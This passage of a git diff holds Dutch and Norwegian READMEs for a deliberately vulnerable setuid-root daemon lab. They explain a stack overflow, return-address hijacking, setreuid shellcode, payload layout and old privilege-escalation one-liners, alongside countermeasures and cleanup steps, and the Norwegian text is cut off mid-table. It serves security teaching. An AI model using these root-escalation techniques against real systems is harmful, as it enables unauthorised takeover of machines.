De handler van `foosd` geeft een `read()` 512 bytes vertrouwen terwijl hij er
|
||||||
|
een 64-byte stack-buffer aan reikt:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[64];
|
||||||
|
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over de rand */
|
||||||
|
```
|
||||||
|
|
||||||
|
Op x86-64 groeit de stack naar beneden. Het exploit schrijft 64 bytes rommel
|
||||||
|
om `buf` te vullen, 8 om de opgeslagen framepointer te vullen en nog 8 om de
|
||||||
|
**opgeslagen retouradres** te vervangen. Wanneer `vulnerable_handler` de `ret`
|
||||||
|
uitvoert, poppt de CPU de waarde van de aanvaller in `RIP` —
|
||||||
|
aanvaller-gecontroleerde code-uitvoering. Het exploit vindt de exacte afstand
|
||||||
|
(88 bytes voor deze build) door `objdump`-output te parsen in plaats van die te
|
||||||
|
hardcoden, zodat het getal herbouwen overleeft.
|
||||||
|
|
||||||
|
### 5.2 De twist: de shell weigert root te zijn
|
||||||
|
|
||||||
|
Hier is waar "SUID-bug → spawn /bin/sh → root" fout zou gaan, en waarom dit lab
|
||||||
|
precies de vorm heeft die het heeft.
|
||||||
|
|
||||||
|
Wanneer een setuid-root-programma draait, is zijn `ruid` nog steeds de
|
||||||
|
startende gebruiker en is zijn `euid` root. Als het programma — of de aanvaller
|
||||||
|
— nu een shell start:
|
||||||
|
|
||||||
|
* `execve("/bin/sh")` verandert de uids **niet**; het nieuwe proces erft
|
||||||
|
`(ruid=1000, euid=0)`.
|
||||||
|
* bash (en dash) **controleert die exacte toestand bij de start**. Uit de
|
||||||
|
bash-handleiding: *"If the shell is started with the effective user (group)
|
||||||
|
id not equal to the real user (group) id, and the -p option is not supplied,
|
||||||
|
… the effective user id is set to the real user id."*
|
||||||
|
|
||||||
|
Dus de shell kijkt naar zichzelf en *laat root vallen* — een verdediging die de
|
||||||
|
shell-auteurs precies tegen dit aanval bouwden (de historische reden was het
|
||||||
|
setuid-shell-/setuid-scriptprobleem). Het resultaat is de "werkte, maar niet
|
||||||
|
root"-gevallen:
|
||||||
|
|
||||||
|
| Techniek | Wat hij uitvoert | Resulterende uid |
|
||||||
|
|-----------|------------------|---------------|
|
||||||
|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landde, root gereset door bash |
|
||||||
|
| `ret2libc` | `system("/bin/sh")` → verse `sh -c '/bin/sh'` | **1000** — dezelfde reset, één niveau lager |
|
||||||
|
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid opgeruimd vanuit C |
|
||||||
|
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid opgeruimd vanuit machinecode |
|
||||||
|
|
||||||
|
Degene die root bereiken, verschillen van degene die dat niet doen in precies
|
||||||
|
één idee: **ze ruimen de *reële* uid op, niet alleen de effectieve.**
|
||||||
|
|
||||||
|
```c
|
||||||
|
setuid(0) /* zet euid op 0, maar ruid blijft 1000:
|
||||||
|
bash ziet nog steeds euid != ruid en reset NOG STEEDS. */
|
||||||
|
setreuid(0, 0) /* zet BEIDE: ruid = euid = 0.
|
||||||
|
bash ziet gelijke uids en houdt root. */
|
||||||
|
```
|
||||||
|
|
||||||
|
Daarom begint de klassieke `/bin/sh`-shellcode die je overal op internet vindt
|
||||||
|
met een uid-opruimend syscall — en daarom is de shellcode hier 32 bytes in
|
||||||
|
plaats van 23: de eerste vijf instructies zijn
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor edi, edi ; ruid = 0
|
||||||
|
xor esi, esi ; euid = 0
|
||||||
|
push 0x71 ; 113 = __NR_setreuid
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.3 Dus wat is het exploit, van begin tot eind?
|
||||||
|
|
||||||
|
1. `foosc` leest het banner van `foosd` over de socket. Het krijgt:
|
||||||
|
- `ids=0/1000` — euid/ruid (de SUID-zelfdiagnose)
|
||||||
|
- `stack=…` en `libc=…` — pointers (de ASLR-leaks)
|
||||||
|
- `BUF=…` — het exacte adres van de buffer die het op het punt staat te
|
||||||
|
laten overlopen
|
||||||
|
2. Uit de doel-binary (via `objdump`) leert het `rip_off` en de adressen van
|
||||||
|
`win()` / `win_root()`.
|
||||||
|
3. Uit *zijn eigen* libc (via `/proc/self/maps` + `dlsym` + een geheugenscan)
|
||||||
|
meet het de offsets van `system`, `read`, `/bin/sh` en een
|
||||||
|
`pop rdi; ret`-gadget — niets is hardcoded.
|
||||||
|
4. Het stelt de payload samen. Voor `-t shellcode` is dat:
|
||||||
|
`[32-byte-setreuid+execve-code][padding tot RIP][ret-fix][adres van buf]`.
|
||||||
|
5. `foosd`s `read()` loopt over; de `ret` landt op de shellcode; de kernel
|
||||||
|
voert `setreuid(0,0)` uit (geen probleem: euid 0 is bevoorrecht) en daarna
|
||||||
|
`execve` van `/bin/sh`. bash start met `ruid == euid == 0` en blijft root.
|
||||||
|
6. `foosc` schakelt je terminal door naar die root-shell, tot je `exit` typt.
|
||||||
|
|
||||||
|
Eén gemakdetail dat mensen veel tijd kost als het wordt gemist: het exploit
|
||||||
|
test elk uid-opruimgedrag **zonder** eerst de setuid-bit nodig te hebben. Draai
|
||||||
|
`make test` vóór `make setuid`, en je ziet elke techniek een shell landen terwijl
|
||||||
|
`ROOT=MISSING` staat; draai `make test-suid` ná `make setuid`, en `ROOT=SEEN`
|
||||||
|
verschijnt bij de twee technieken die de reële uid opruimen. Die A/B is de hele
|
||||||
|
les, in tien seconden uitgevoerd.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. De oude one-liners — en waarom de meeste dood zijn
|
||||||
|
|
||||||
|
Heb je over SUID gelezen, dan heb je over `PATH`-kapingen, `LD_PRELOAD` en
|
||||||
|
setuid-shells gelezen. Alle drie zijn klassiek, en alle drie falen op een
|
||||||
|
modern systeem tegen *dit programma*. Het is de moeite waard om precies te
|
||||||
|
weten waarom, want de redenen zijn de verdedigingen die je gratis krijgt:
|
||||||
|
|
||||||
|
| Aanvalsklasse | Oude bewering | Waarom hij faalt op een moderne machine |
|
||||||
|
|--------------|-----------|------------------------------|
|
||||||
|
| `LD_PRELOAD` van een kwaadaardige bibliotheek | "Het setuid-programma laadt mijn `.so` en draait mijn code als root." | De kernel markeert een setuid-binary als **AT_SECURE**; glibc negeert daarna `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` en vrienden. De omgeving wordt behandeld als *onbetrouwbare input*. `LD_PRELOAD` tegen een setuid-binary is een no-op. |
|
||||||
|
| `PATH`-kaping (`system("ls")` met een vergiftigde PATH) | "Wijs PATH naar een map met mijn neppe `ls`; het root-programma draait hem." | Een ander gezicht van hetzelfde verdedigingen: een AT_SECURE-proces krijgt een **gesaneerde `PATH`** (een veilige standaard, grofweg `/usr/local/bin:/usr/bin:/bin`) voor `system()`/`execvp`, dus de vergiftigde map wordt nooit geraadpleegd. |
|
||||||
|
| Setuid-`system()`-commando-injectie | "Het geïnjecteerde commando draait met euid 0." | `system()` draait het commando in een verse `/bin/sh`, en die shell — §5.2 — reset `euid = ruid` bij de start. Het geïnjecteerde commando wordt uitgevoerd met de *reële* uid. (Het blijft een bug; het escaleert alleen niet meer via `/bin/sh`.) |
|
||||||
|
| Setuid-root-shell op de schijf (`cp /bin/sh /tmp; chmod u+s`) | "Draai hem, krijg root." | Precies wat hierboven verdedigd wordt, en dat is waarom moderne distro's geen enkele setuid-root-shell leveren. Zelfs als je er één kunt maken, weigert bash euid 0 te houden tenzij hij met `-p` wordt gestart. |
|
||||||
|
|
||||||
|
Wat blijft leven, en dat is dit lab: **het programma is *al* root wanneer het
|
||||||
|
draait.** Je hebt de omgeving of `system()` niet nodig; je hebt nodig dat het
|
||||||
|
programma *jouw* code uitvoert (via een geheugenbeschadigingsbug) terwijl het
|
||||||
|
bevoorrecht is, en dat jouw code zorgvuldig genoeg is om zelf de uid-mismatch
|
||||||
|
recht te zetten — `setreuid(0,0)` — voordat het je een shell overhandigt.
|
||||||
|
Geheugenbeschadiging + SUID is de combinatie die nog steeds in `uid=0` eindigt,
|
||||||
|
en dat is precies waarom geheugenveilige talen, canaries en no-execute-stacks
|
||||||
|
geen modebeslissing zijn.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. De veiligheidsheurlingen die in de daemon zijn ingebouwd
|
||||||
|
|
||||||
|
`foosd` is bewust het *slechtste* stuk software in dit repository, dus het
|
||||||
|
draagt ook de meeste leuningen:
|
||||||
|
|
||||||
|
1. **Alleen loopback, afgedwongen.** `foosd` weigert elke bind-adres buiten
|
||||||
|
loopback, tenzij je `-L` geeft. Een setuid-root-listener op een echte
|
||||||
|
interface is een externe root-dienst; de weigering is de standaard, zodat de
|
||||||
|
gevaarlijke toestand bewust moet worden ingetypt.
|
||||||
|
2. **Zelfdiagnose.** Bij de start logt hij `ruid`/`euid` en of hij als root
|
||||||
|
draait, zodat de console de toestand toont waarvan het exploit afhangt.
|
||||||
|
3. **De log bereikt de client nooit.** De daemon reserveert een privé
|
||||||
|
log-descriptor vóór sockets fd 1 vervangen, zodat crash-reporter-output en
|
||||||
|
interne paden niet door de aanvaller over de draad teruggelezen kunnen
|
||||||
|
worden.
|
||||||
|
4. **Crash-reporter.** Een SIGSEGV-handler logt `RIP`/`RSP` — de waarde die de
|
||||||
|
aanvaller in het retouradres schreef — zodat een succesvolle overname
|
||||||
|
zichtbaar is in `foosd.log` in plaats van een stille dood.
|
||||||
|
5. **`make unsetuid`.** Het verwijderen van de bit is gescript, omdat hem laten
|
||||||
|
staan de faaltoestand is die mensen daadwerkelijk hebben.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Tegenmaatregelen — wat elke stopt en wat hij *niet* stopt
|
||||||
|
|
||||||
|
Toegepast op `foosd` via `make hardened`, één voor één of samen:
|
||||||
|
|
||||||
|
| Tegenmaatregel | Wat hij stopt | Wat hij *niet* stopt |
|
||||||
|
|------------|---------------|-------------------------|
|
||||||
|
| `-fstack-protector-strong` (canary) | De overloop: `ret` detecteert een beschadigde canary en aborted vóór het adres van de aanvaller wordt gebruikt. Stopt hier **alle vier** de technieken — ze delen het ene kwetsbare `read()`. | Niets aan *het ontwerp*: de binary is nog steeds setuid-root; een andere bug (format-string-`%n`, heap-overflow, use-after-free) heeft geen canary om af te laten gaan. |
|
||||||
|
| `-fPIE -pie` (ASLR voor de binary) | Gebruik van voorspelbare `win()`/`win_root()`-adressen (de ret2win-technieken). | De shellcode-techniek, als er nog een stack-adres lekt (`BUF=`-regel). |
|
||||||
|
| `-z noexecstack` (NX / W^X) | De shellcode: de CPU weigert instructies op te halen van een data-only-pagina, dus een sprong naar `buf` is een SIGSEGV. | ROP — code draaien die al bestaat (`ret2libc`). |
|
||||||
|
| Alle drie samen | Een moeilijk-te-laten-overlopen, gerandomiseerde binary met een niet-uitvoerbare stack. Zo ziet een normale geharde build eruit. | De setuid-bit. **Een geharde SUID-binary is nog steeds een SUID-binary.** Overleeft er een bereikbare geheugenveiligheidsbug, dan is het nog steeds "bug in een root-proces". |
|
||||||
|
|
||||||
|
Het consolebewijs is `make test-hardened`, dat de geharde build inwisselt en
|
||||||
|
laat zien hoe alle technieken bij de canary sterven, terwijl
|
||||||
|
`foosd_hardened.log` `*** stack smashing detected ***` opvangt.
|
||||||
|
|
||||||
|
Twee tegenmaatregelen op ontwerpniveau die geen enkele compilerflag levert, en
|
||||||
|
die het hoofdlaboratorium (`food`) ook gebruikt:
|
||||||
|
|
||||||
|
- **Minste privilege.** Een daemon voor een onbevoordeelde poort (2343 > 1024)
|
||||||
|
heeft geen legitieme behoefte aan root. Een correcte `foosd` zou binden en
|
||||||
|
daarna `setgroups`/`setgid`/`setuid` naar een onbevoorrechte account en
|
||||||
|
*bevestigen dat het hield* (de correcte versie staat in de bron als
|
||||||
|
`drop_privs()`, nooit aangeroepen — het niet-aanroepen is bug nr. 3 van het
|
||||||
|
lab).
|
||||||
|
- **Beperk de read.** `n = read(fd, buf, sizeof(buf) - 1)`. Eén correcte regel
|
||||||
|
overtreft elke compilerflag in de tabel.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Het wire-protocol (zodat je de daemon met netcat kunt lezen)
|
||||||
|
|
||||||
|
```text
|
||||||
|
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||||
|
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||||
|
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||||
|
BUF=0x7ffd...
|
||||||
|
```
|
||||||
|
|
||||||
|
* `ids=euid/ruid` — kon niet als `euid=`/`ruid=` geprint worden, omdat de
|
||||||
|
test-harness een shell bewijst door op het letterlijke `uid=` te greppen, en
|
||||||
|
het banner mag dat niet bevatten (een sonde die de handtekening met het
|
||||||
|
antwoord deelt, is een klassieke fout-positief- val; zie de commentaar in
|
||||||
|
`foosd.c`). De harness vereist bovendien de strikte `id`-outputvorm —
|
||||||
|
`uid=NNN(...)` — zodat niets wat de daemon of het exploit print het aan
|
||||||
|
toeval kan laten voldoen: `foosc`s eigen "target euid=… ruid=…" bevat `uid=`
|
||||||
|
als deelstring, wat ooit een geharde test een shell liet melden die nooit had
|
||||||
|
gedraaid.
|
||||||
|
* `stack=`, `libc=`, `BUF=` — de ASLR-leaks: laten shellcode en ret2libc exacte
|
||||||
|
adressen berekenen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Oefeningen
|
||||||
|
|
||||||
|
1. **Beschouw de niet-root-degradatie.** Draai `make test` *vóór* `make
|
||||||
|
setuid`, en daarna nog eens achteraf. Verklaar de `ROOT=SEEN`-verandering
|
||||||
|
met het ruid/euid-verhaal in §5.2.
|
||||||
|
2. **Lees de crash.** Draai `./foosc -t demo -n` en lees daarna `foosd.log`.
|
||||||
|
De regel `RIP=0x4141414141414141` is de padding van de aanvaller — het bewijs
|
||||||
|
dat de overloop, niet toeval, de uitvoering bestuurt.
|
||||||
|
3. **Voeg de canary toe.** `make hardened` en verander zelf de
|
||||||
|
`test-hardened`-lus; de logregel `*** stack smashing detected ***` is de
|
||||||
|
verdediging die werkt.
|
||||||
|
4. **Schakel het lek uit.** Commentaar de `BUF=`-regel in `foosd.c` uit, bouw
|
||||||
|
opnieuw, en zie `-t shellcode` van deterministisch naar een raadspel
|
||||||
|
veranderen. Die ene regel is de reden dat echte ASLR-bypasses een heel veld
|
||||||
|
zijn.
|
||||||
|
5. **Het `-p`-experiment.** Verander in een kopie van `win()`
|
||||||
|
`execl("/bin/sh", "sh", NULL)` naar `execl("/bin/sh", "sh", "-p", NULL)` en
|
||||||
|
observeer root. `-p` is de gedocumenteerde nooduitgang uit de wacht van de
|
||||||
|
shell — en de reden dat het advies "spawn gewoon een shell" uit oude
|
||||||
|
write-ups onvolledig is.
|
||||||
|
6. **Waarom niet `setuid(0)`?** Herschrijf de shellcode om `setuid(0)` te
|
||||||
|
roepen in plaats van `setreuid(0,0)` (syscall 105). De shell landt nog
|
||||||
|
steeds — en zakt nog steeds naar `uid=1000`. Dat is het meest leerzame
|
||||||
|
één-regel-experiment van het hele repository.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Veiligheid en opruimen
|
||||||
|
|
||||||
|
- Alleen loopback, als standaard en volgens ontwerp; `-L` bindt verder, en
|
||||||
|
alleen een weg-te-gooien-VM zou het überhaupt moeten overwegen.
|
||||||
|
- Dit is een root-shell-lab. Draai het niet op een machine die ertoe doet, en
|
||||||
|
richt `foosc -h` niet op iets dat je niet bezit.
|
||||||
|
- Opruimritueel: `make stop` en daarna `make unsetuid`, en als je de boom weer
|
||||||
|
vlekkeloos wilt: `sudo make clean`.
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid
|
||||||
|
```
|
||||||
387
suid/README.NO.md
Normal file
387
suid/README.NO.md
Normal file
|
|
@ -0,0 +1,387 @@
|
||||||
|
# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit)
|
||||||
|
|
||||||
|
En ledsager til hovedlaboratoriet (`food` / `fooc`, en vanlig daemon der et
|
||||||
|
bufferoverløp gir deg en *bruker*-shell). Dette legger til den farligste
|
||||||
|
én-tegns-endringen i Unix: **setuid-biten**.
|
||||||
|
|
||||||
|
> `chmod u+s` forvandler «angriperen kan kjøre kode på denne verten» til
|
||||||
|
> «angriperen kan kjøre kode som **root** på denne verten».
|
||||||
|
|
||||||
|
Den setningen er hele laboratoriet. Alt nedenfor er mekanismen under den, skrevet
|
||||||
|
ned, slik at du når du skriver din egen programvare, vet nøyaktig hvilke to eller
|
||||||
|
tre filsystem-attributter og kompilator-flag som avgjør om en
|
||||||
|
minnesikkerhetsfeil i koden din er en irritasjon eller en root-shell.
|
||||||
|
|
||||||
|
Den endelige demoen, når `foosd` er setuid-root, er en **root-shell** som åpnes
|
||||||
|
over nettverket ved å utføre 32 bytes håndskrevet shellcode.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Hva setuid-biten faktisk gjør
|
||||||
|
|
||||||
|
Hver prosess på Linux bærer tre user-ID-er, og setuid-biten tukler med forholdet
|
||||||
|
mellom dem:
|
||||||
|
|
||||||
|
| ID | Navn | Betydning |
|
||||||
|
|----|------|---------|
|
||||||
|
| `ruid` | reell user-ID | kontoen som *startet* prosessen |
|
||||||
|
| `euid` | effektiv user-ID | det kjernen sjekker når den håndhever tilgang |
|
||||||
|
| (saved) | lagret set-user-ID | en «sporplass» en privilegert prosess kan vende tilbake til senere |
|
||||||
|
|
||||||
|
Et vanlig program har `ruid == euid`. Når du kjører en binærfil med
|
||||||
|
setuid-biten satt, eid av root:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ruid = deg (f.eks. 1000, «hanez»)
|
||||||
|
euid = eieren (f.eks. 0, «root»)
|
||||||
|
```
|
||||||
|
|
||||||
|
Prosessen har derfor **roots autoritet**, selv om brukeren som startet den er
|
||||||
|
helt vanlig. Hvert sjekkpunkt kjernen utfører — kan denne prosessen lese
|
||||||
|
`/etc/shadow`? skrive en fil? drepe en annen prosess? — besvares med `euid`,
|
||||||
|
altså «ja, den er root».
|
||||||
|
|
||||||
|
`foosd` er en nettverksdaemon. Den binder en port og `fork()`er deretter et
|
||||||
|
barn per tilkobling. En fork *arver* euid-en, så hvert barn som håndterer en
|
||||||
|
tilkobling er også root. Overløpet i `foosd`s `vulnerable_handler()` er derfor
|
||||||
|
et overløp *inne i en root-prosess*.
|
||||||
|
|
||||||
|
**Diagnostiser det selv når daemonen kjører:**
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosd ... # se logglinjen den skriver ut ved start
|
||||||
|
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||||
|
```
|
||||||
|
|
||||||
|
og fra exploitet:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t leak
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Laboratoriet ved første øyekast
|
||||||
|
|
||||||
|
| Fil | Rolle |
|
||||||
|
|------|------|
|
||||||
|
| `foosd.c` | Den bevisst sårbare daemonen (eier feilene). Kjør som *setuid-root*-binærfil for root-shell-demoen. |
|
||||||
|
| `foosc.c` | Exploitet. Bruker som standard den 32-byte `setreuid + execve`-shellcode-teknikken. |
|
||||||
|
| `shellcode.S` | Referanse-shellcoden; `make verify` diff'er den mot byte-arrayen i `foosc.c`. |
|
||||||
|
| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gjennom et pseudo-terminal og beviser både «en shell kjørte» *og* «den var root» (`uid=0(`). |
|
||||||
|
| `Makefile` | Bygg, `setuid`/`unsetuid`-hjelpere, testmatrise. |
|
||||||
|
| `README.md` | Denne filen. |
|
||||||
|
|
||||||
|
> **Hvorfor en pty?** Exploitets siste handling er å videresende terminalen din
|
||||||
|
> til shellen som kjører på offeret. En pipe eller her-doc havner i feil ende av
|
||||||
|
> den videresendingen; en ekte terminal er påkrevd.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Rask start
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # bygg alt, som din vanlige bruker
|
||||||
|
$ make setuid # én gang, spør om sudo: chown root + chmod u+s
|
||||||
|
$ make run # start foosd på 127.0.0.1:2343
|
||||||
|
$ make test-suid # full matrise; shellcode + ret2win-root skal gi root
|
||||||
|
```
|
||||||
|
|
||||||
|
Interaktiv røykprøve:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t shellcode
|
||||||
|
...
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||||
|
# id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret
|
||||||
|
# exit
|
||||||
|
```
|
||||||
|
|
||||||
|
Når du er ferdig:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid # hygiene: etterlat aldri en root-SUID-binærfil
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. *Når skal jeg sette SUID-biten?* — svaret du ba om
|
||||||
|
|
||||||
|
Nøyaktig **én gang, etter byggingen, før du starter daemonen for
|
||||||
|
root-shell-demoene** — og bare på en maskin som er din, egnet til å kastes og
|
||||||
|
frakoblet nettverket:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # kompiler foosd, foosc, tester
|
||||||
|
$ make setuid # <-- ØYEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||||
|
$ make run # start ETTER at du har satt biten
|
||||||
|
```
|
||||||
|
|
||||||
|
To regler som betyr mer enn det nøyaktige tidspunktet:
|
||||||
|
|
||||||
|
1. **Sett den bare når binærfilen er ferdig.** Hvis du bygger om (`make` /
|
||||||
|
`make clean`) etter at du har satt biten, treffer du «Permission denied» når
|
||||||
|
du skriver root-eide utdatafiler — og hvis du tvinger ombyggingen, gjenskaper
|
||||||
|
verktøykjeden filen **uten** `s`-en og angrer stille og rolig oppsettet. Den
|
||||||
|
kanoniske rekkefølgen ved enhver ombygging er derfor
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make unsetuid && make && make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Fjern den når du er ferdig.** `make unsetuid`. En levende,
|
||||||
|
root-eid setuid-binærfil med en utnyttbar feil i treet ditt er ikke et
|
||||||
|
læremiddel, det er et root-hull med en kompileringsfeil mellom seg og
|
||||||
|
ingenting. På en delt eller produksjonsmaskin: **ikke gjør noe av dette.**
|
||||||
|
Daemonen nekter dessuten som standard å binde noe annet enn loopback (se §7).
|
||||||
|
|
||||||
|
Hvis du kjører exploitet *uten* noen gang å sette biten, går ingenting i stykker
|
||||||
|
— payloaden lander fortsatt, og du får fortsatt en shell. Forskjellen er i ett
|
||||||
|
tall, og exploitet sier det høyt:
|
||||||
|
|
||||||
|
```console
|
||||||
|
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||||
|
The payload will still land, but the shell will be
|
||||||
|
a plain user shell, not root.
|
||||||
|
Fix: sudo make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
«Virket, men ikke root»-resultatet er selv en del av laboratoriet. Husk det til
|
||||||
|
neste avsnitt.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Mekanismen — og vrien som gjør SUID interessant
|
||||||
|
|
||||||
|
### 5.1 Overløpet (identisk med `food`)
|
||||||
|
|
||||||
|
`foosd`s handler gir et `read()` 512 bytes tillit, mens den rekker den et
|
||||||
|
64-byte stack-buffer:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[64];
|
||||||
|
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */
|
||||||
|
```
|
||||||
|
|
||||||
|
På x86-64 vokser stacken nedover. Exploitet skriver 64 bytes søppel for å fylle
|
||||||
|
`buf`, 8 for å fylle den lagrede rammepekeren og 8 til for å erstatte den
|
||||||
|
**lagrede returadressen**. Når `vulnerable_handler` utfører `ret`, popper CPU-en
|
||||||
|
angriperens verdi inn i `RIP` — angriperkontrollert kodeutførelse. Exploitet
|
||||||
|
finner den nøyaktige avstanden (88 bytes for denne builden) ved å parse
|
||||||
|
`objdump`-utdata i stedet for å hardkode den, så tallet overlever ombygginger.
|
||||||
|
|
||||||
|
### 5.2 Vrien: shellen nekter å være root
|
||||||
|
|
||||||
|
Her er det der å tenke «SUID-feil → spawn /bin/sh → root» ville gått galt, og
|
||||||
|
hvorfor dette laboratoriet har nøyaktig den formen det har.
|
||||||
|
|
||||||
|
Når et setuid-root-program kjører, er `ruid` fortsatt den startende brukeren, og
|
||||||
|
`euid` er root. Hvis programmet — eller angriperen — nå starter en shell:
|
||||||
|
|
||||||
|
* `execve("/bin/sh")` endrer **ikke** u-id-ene; den nye prosessen arver
|
||||||
|
`(ruid=1000, euid=0)`.
|
||||||
|
* bash (og dash) **sjekker nøyaktig den tilstanden ved start**. Fra
|
||||||
|
bash-manualen: *«If the shell is started with the effective user (group) id
|
||||||
|
not equal to the real user (group) id, and the -p option is not supplied, …
|
||||||
|
the effective user id is set to the real user id.»*
|
||||||
|
|
||||||
|
Så shellen ser på seg selv og *dropper root* — et forsvar
|
||||||
|
shell-forfatterne bygde nøyaktig mot dette angrepet (den historiske
|
||||||
|
begrunnelsen var setuid-shell-/setuid-skript-problemet). Resultatet er
|
||||||
|
«virket, men ikke root»-tilfellene:
|
||||||
|
|
||||||
|
| Teknikk | Hva den utfører | Resulterende uid |
|
||||||
|
|-----------|------------------|---------------|
|
||||||
|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landet, root nullstilt av bash |
|
||||||
|
| `ret2libc` | `system("/bin/sh")` → fersk `sh -c '/bin/sh'` | **1000** — samme nullstilling, ett nivå ned |
|
||||||
|
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C |
|
||||||
|
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode |
|
||||||
|
|
||||||
|
De to som når root, skiller seg fra de to som ikke gjør det, med nøyaktig én idé:
|
||||||
|
**de rydder den *reelle* uid-en, ikke bare den effektive.**
|
||||||
|
|
||||||
|
```c
|
||||||
|
setuid(0) /* setter euid til 0, men ruid forblir 1000:
|
||||||
|
bash ser fortsatt euid != ruid og nullstiller FORTSATT. */
|
||||||
|
setreuid(0, 0) /* setter BEGGE: ruid = euid = 0.
|
||||||
|
bash ser like uid-er og beholder root. */
|
||||||
|
```
|
||||||
|
|
||||||
|
Det er derfor den klassiske `/bin/sh`-shellcoden du finner overalt på nettet,
|
||||||
|
starter med et uid-ryddende syscall — og grunnen til at shellcoden her er 32
|
||||||
|
bytes i stedet for 23: de første fem instruksjonene er
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor edi, edi ; ruid = 0
|
||||||
|
xor esi, esi ; euid = 0
|
||||||
|
push 0x71 ; 113 = __NR_setreuid
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.3 Så hva er exploitet, fra ende til annen?
|
||||||
|
|
||||||
|
1. `foosc` leser `foosd`s banner over socketen. Det får:
|
||||||
|
- `ids=0/1000` — euid/ruid (SUID-selvdiagnosen)
|
||||||
|
- `stack=…` og `libc=…` — pekere (ASLR-leaksene)
|
||||||
|
- `BUF=…` — den nøyaktige adressen på bufferen den er i ferd med å renne over
|
||||||
|
2. Fra målbinærfilen (via `objdump`) lærer det `rip_off` og adressene til
|
||||||
|
`win()` / `win_root()`.
|
||||||
|
3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et minnesøk) måler det
|
||||||
|
offsetene for `system`, `read`, `/bin/sh` og et `pop rdi; ret`-gadget —
|
||||||
|
ingenting er hardkodet.
|
||||||
|
4. Det setter sammen payloaden. For `-t shellcode` er det:
|
||||||
|
`[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`.
|
||||||
|
5. `foosd`s `read()` renner over; `ret` lander på shellcoden; kjernen utfører
|
||||||
|
`setreuid(0,0)` (helt greit: euid 0 er privilegert) og deretter `execve` av
|
||||||
|
`/bin/sh`. bash starter med `ruid == euid == 0` og forblir root.
|
||||||
|
6. `foosc` videresender terminalen din til den root-shellen, til du skriver
|
||||||
|
`exit`.
|
||||||
|
|
||||||
|
Én bekvemmelighetsdetalj som koster folk mye tid hvis den overses: exploitet
|
||||||
|
tester hver uid-ryddende adferd **uten** først å trenge setuid-biten. Kjør
|
||||||
|
`make test` før `make setuid`, så ser du hver teknikk lande en shell mens
|
||||||
|
`ROOT=MISSING` står; kjør `make test-suid` etter `make setuid`, så dukker
|
||||||
|
`ROOT=SEEN` opp ved de to teknikkene som rydder den reelle uid-en. Den A/B-en er
|
||||||
|
hele leksjonen, utført på ti sekunder.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. De gamle one-linerne — og hvorfor de fleste av dem er døde
|
||||||
|
|
||||||
|
Har du lest om SUID, har du lest om `PATH`-kapring, `LD_PRELOAD` og
|
||||||
|
setuid-shells. Alle tre er klassiske, og alle tre feiler på et moderne system
|
||||||
|
mot *dette programmet*. Det er verdt å vite nøyaktig hvorfor, fordi grunnene er
|
||||||
|
forsvarene du får gratis:
|
||||||
|
|
||||||
|
| Angrepsklasse | Gammel påstand | Hvorfor den feiler på en moderne maskin |
|
||||||
|
